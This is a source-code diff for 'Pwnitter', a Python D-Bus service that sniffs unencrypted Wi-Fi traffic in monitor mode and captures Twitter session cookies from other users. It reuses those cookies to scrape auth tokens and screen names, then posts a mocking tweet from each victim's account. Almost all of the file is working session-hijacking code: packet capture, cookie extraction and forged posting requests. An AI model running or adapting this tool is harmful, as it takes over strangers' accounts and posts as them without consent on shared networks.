import dbus.service
import dbus.mainloop.glib
import getopt, sys, pcap, dpkt, re, httplib, urllib
+import logging
+import logging.config
import socket
import time
import gobject
import select
import subprocess
+import urllib2
-status = 'I browsed twitter insecurely on #fossdotin and all I got was this lousy tweet.'
+status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
def usage():
print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0]
NAME = 'de.cryptobitch.muelli.Pwnitter'
class Pwnitter(dbus.service.Object):
- def __init__(self, bus, object_name, device='mon0'):
+ def __init__(self, bus, object_name, device='mon0', run_once_only=False):
super(Pwnitter, self).__init__(bus, object_name)
self.device = device
self.status = status
self.is_running = False
+ self.run_once_only = run_once_only
- @dbus.service.method(NAME,
- in_signature='', out_signature='')
- def Start(self, device='mon0'):
- # FIXME: Prevent double Start()
+ def setup_monitor(device='mon0'):
+ # FIXME: Replace hardcoded interface
cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
subprocess.call(cmd)
cmd = '/sbin/ifconfig mon0 up'.split()
subprocess.call(cmd)
+
+ @dbus.service.method(NAME,
+ in_signature='', out_signature='')
+ def Start(self, filename=None):
+ # FIXME: Prevent double Start()
+ if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device
+ self.setup_monitor(device)
+ device = self.device
+ else: # We have given a filename, so let's make PCap read from the file
+ device = filename
self.is_running = True
try:
self.cap = pcap.pcap(device)
print "Error setting up %s" % device
raise e
self.cap.setfilter('dst port 80')
- gobject.idle_add(lambda: self.pwn(self.device, self.MessageSent))
+ cap_fileno = self.cap.fileno()
+ self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device)
+
+ @dbus.service.method(NAME,
+ in_signature='s', out_signature='')
+ def StartFromFile(self, filename):
+ return self.Start(filename=filename)
+
+ def cap_readable_callback(self, source, condition, device):
+ return self.pwn(device, self.MessageSent)
+
@dbus.service.signal(NAME)
def MessageSent(self, who):
print "Emitting MessageSent"
def GetMessage(self):
return self.status
+
+ def tear_down_monitor(self, device='mon0'):
+ cmd = '/sbin/ifconfig mon0 down'.split()
+ subprocess.call(cmd)
+ cmd = '/usr/sbin/iw dev mon0 del'.split()
+ subprocess.call(cmd)
+
@dbus.service.method(NAME,
in_signature='', out_signature='')
def Stop(self):
self.is_running = False
print "Receive Stop"
- cmd = '/sbin/ifconfig mon0 down'.split()
- subprocess.call(cmd)
- cmd = '/usr/sbin/iw dev mon0 del'.split()
- subprocess.call(cmd)
+ gobject.source_remove(self.source_id)
+ self.tear_down_monitor(self.device)
loop.quit()
def pwn(self, device, tweeted_callback=None):
+ log = logging.getLogger('pwn')
+
processed = {}
if self.is_running: # This is probably not needed, but I feel better checking it more than too less
- #for ts, raw in self.cap: # This blocks. Which is unfortunate if the application wants to exist
- cap_fileno = self.cap.fileno()
- rlist, wlist, errlist = select.select([cap_fileno], [], [], 2.5)
- #print 'rlist, wlist, errlost: %s, %s, %s' % (rlist, wlist, errlist)
- if cap_fileno in rlist:
- ts, raw = self.cap.next()
- eth = dpkt.ethernet.Ethernet(raw)
- #print 'got a packet'
- # Depending on platform, we can either get fully formed packets or unclassified radio data
- if isinstance(eth.data, str):
- data = eth.data
- else:
- data = eth.data.data.data
-
- hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
- if hostMatches:
- print 'Host matched'
- host = hostMatches.group(1)
-
- cookieMatches = re.search('Cookie: ([^\n]+)', data)
- if cookieMatches:
- cookie = cookieMatches.group(1)
-
- headers = {
- "User-Agent": "Mozilla/5.0",
- "Cookie": cookie,
- }
-
- conn = httplib.HTTPSConnection(host)
- try:
- conn.request("GET", "/", None, headers)
- except socket.error, e:
- print e
- else:
- response = conn.getresponse()
- page = response.read()
-
- # Newtwitter and Oldtwitter have different formatting, so be lax
- authToken = ''
-
- formMatches = re.search("<.*?authenticity_token.*?>", page, 0)
- if formMatches:
- authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
-
- if authMatches:
- authToken = authMatches.group(1)
-
- nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
- if not nameMatches:
- nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
-
- name = ''
- if nameMatches:
- name = nameMatches.group(1)
-
-
- # We don't want to repeatedly spam people
- # FIXME: What the fuck logic. Please clean up
- if not ((not name and host != 'mobile.twitter.com') or name in processed):
- headers = {
- "User-Agent": "Mozilla/5.0",
- "Accept": "application/json, text/javascript, */*",
- "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
- "X-Requested-With": "XMLHttpRequest",
- "X-PHX": "true",
- "Referer": "http://api.twitter.com/p_receiver.html",
- "Cookie": cookie
- }
+ ts, raw = self.cap.next()
+ eth = dpkt.ethernet.Ethernet(raw)
+ log.debug('got a packet')
+ # Depending on platform, we can either get fully formed packets or unclassified radio data
+ if isinstance(eth.data, str):
+ data = eth.data
+ else:
+ data = eth.data.data.data
+
+ hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
+ if hostMatches:
+ log.debug('Host matched')
+ host = hostMatches.group(1)
+
+ cookieMatches = re.search('Cookie: ([^\n]+)', data)
+ log.debug('CookieMatches? %r', cookieMatches)
+ if cookieMatches:
+ cookie = cookieMatches.group(1)
+ log.debug('yummie Cookie %r', cookie)
+
+ headers = {
+ "User-Agent": "Mozilla/5.0",
+ "Cookie": cookie,
+ }
+
+ try:
+ page = urllib2.urlopen("https://%s/" % host).read()
+ except socket.error, e:
+ log.error(e)
+ else:
+ log.debug('Connected to host %s', host)
+
+ # Newtwitter and Oldtwitter have different formatting, so be lax
+ authToken = ''
+
+ formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
+ if formMatches:
+ authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
+
+ if authMatches:
+ authToken = authMatches.group(1)
+ log.info('Found auth token %r', authToken)
+
+ nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
+ if not nameMatches:
+ nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
+
+ name = ''
+ if nameMatches:
+ name = nameMatches.group(1)
+ log.info('Found name %r', name)
+
+
+ # We don't want to repeatedly spam people
+ # Also proceed if we didn't find a name but are on the mobile page
+ if not (name in processed) or ((not name) and host == 'mobile.twitter.com'):
+ headers = {
+ "User-Agent": "Mozilla/5.0",
+ "Accept": "application/json, text/javascript, */*",
+ "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
+ "X-Requested-With": "XMLHttpRequest",
+ "X-PHX": "true",
+ "Referer": "http://api.twitter.com/p_receiver.html",
+ "Cookie": cookie
+ }
+
+
+ log.debug('Issueing connection')
+ if self.run_once_only: # If we wanted to run once only, we make it stop now
+ self.is_running = False
+ if host == 'mobile.twitter.com':
+
+ params = urllib.urlencode({
+ 'tweet[text]': self.status,
+ 'authenticity_token': authToken
+ })
+
+ conn = httplib.HTTPConnection("mobile.twitter.com")
+ conn.request("POST", "/", params, headers)
+
+ else:
+
+ params = urllib.urlencode({
+ 'status': self.status,
+ 'post_authenticity_token': authToken
+ })
+
+ conn = httplib.HTTPConnection("api.twitter.com")
+ conn.request("POST", "/1/statuses/update.json", params, headers)
- print 'Issueing connection'
- if host == 'mobile.twitter.com':
-
- params = urllib.urlencode({
- 'tweet[text]': self.status,
- 'authenticity_token': authToken
- })
+ response = conn.getresponse()
+ log.debug('Got response: %s', response.status)
+ if response.status == 200 or response.status == 302 or response.status == 403:
- conn = httplib.HTTPConnection("mobile.twitter.com")
- conn.request("POST", "/", params, headers)
+ if name:
+ processed[name] = 1
+ # 403 is a dupe tweet
+ if response.status != 403:
+ log.info("Successfully tweeted as %s", name)
+ if tweeted_callback:
+ tweeted_callback(name)
else:
+ log.info('Already tweeted as %s', name)
- params = urllib.urlencode({
- 'status': self.status,
- 'post_authenticity_token': authToken
- })
-
- conn = httplib.HTTPConnection("api.twitter.com")
- conn.request("POST", "/1/statuses/update.json", params, headers)
-
-
- response = conn.getresponse()
- print 'Got response: %s' % response.status
- if response.status == 200 or response.status == 302 or response.status == 403:
+ else:
- if name:
- processed[name] = 1
+ log.error("FAILED to tweet as %s, debug follows:", name)
+ log.error("%s, %s", response.status, response.reason)
+ log.error("%s", response.read())
- # 403 is a dupe tweet
- if response.status != 403:
- print "Successfully tweeted as %s" % name
- print 'calling %s' % tweeted_callback
- if tweeted_callback:
- tweeted_callback(name)
- else:
- print 'Already tweeted as %s' % name
-
- else:
-
- print "FAILED to tweet as %s, debug follows:" % name
- print response.status, response.reason
- print response.read() + "\n"
- #break # Break after one read packet
- return self.is_running # Execute next time, we're idle
+ return self.is_running # Execute next time, we're idle or stop if we wanted to run once and have processed a message successfully
# FIXME: Ideally, check whether Pcap has got data for us
def main():
if __name__ == '__main__':
+ from optparse import OptionParser
+ parser = OptionParser("usage: %prog [options]")
+ parser.add_option("-l", "--loglevel", dest="loglevel",
+ help="Sets the loglevel to one of debug, info, warn, error, critical")
+ parser.add_option("-s", "--session", dest="use_session_bus",
+ action="store_true", default=False,
+ help="Bind Pwnitter to the SessionBus instead of the SystemBus")
+ parser.add_option("-1", "--single", dest="run_once_only",
+ action="store_true", default=False,
+ help="Make it send a single message only")
+ (options, args) = parser.parse_args()
+ loglevel = {'debug': logging.DEBUG, 'info': logging.INFO,
+ 'warn': logging.WARN, 'error': logging.ERROR,
+ 'critical': logging.CRITICAL}.get(options.loglevel, "warn")
+ logging.basicConfig(level=loglevel)
+ #logging.config.fileConfig('logging.conf') #FIXME: Have file configured logging
+ log = logging.getLogger("Main")
+
dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
- #session_bus = dbus.SessionBus()
- session_bus = dbus.SystemBus()
+ if options.use_session_bus:
+ session_bus = dbus.SessionBus()
+ else:
+ session_bus = dbus.SystemBus()
name = dbus.service.BusName(NAME, session_bus)
- pwnitter = Pwnitter(session_bus, '/Pwnitter')
+ pwnitter = Pwnitter(session_bus, '/Pwnitter', run_once_only=options.run_once_only)
#object.Start()
loop = gobject.MainLoop()
- print "Running example signal emitter service."
+ log.info("Running example signal emitter service.")
# FIXME: This is debug code
#gobject.idle_add(pwnitter.MessageSent)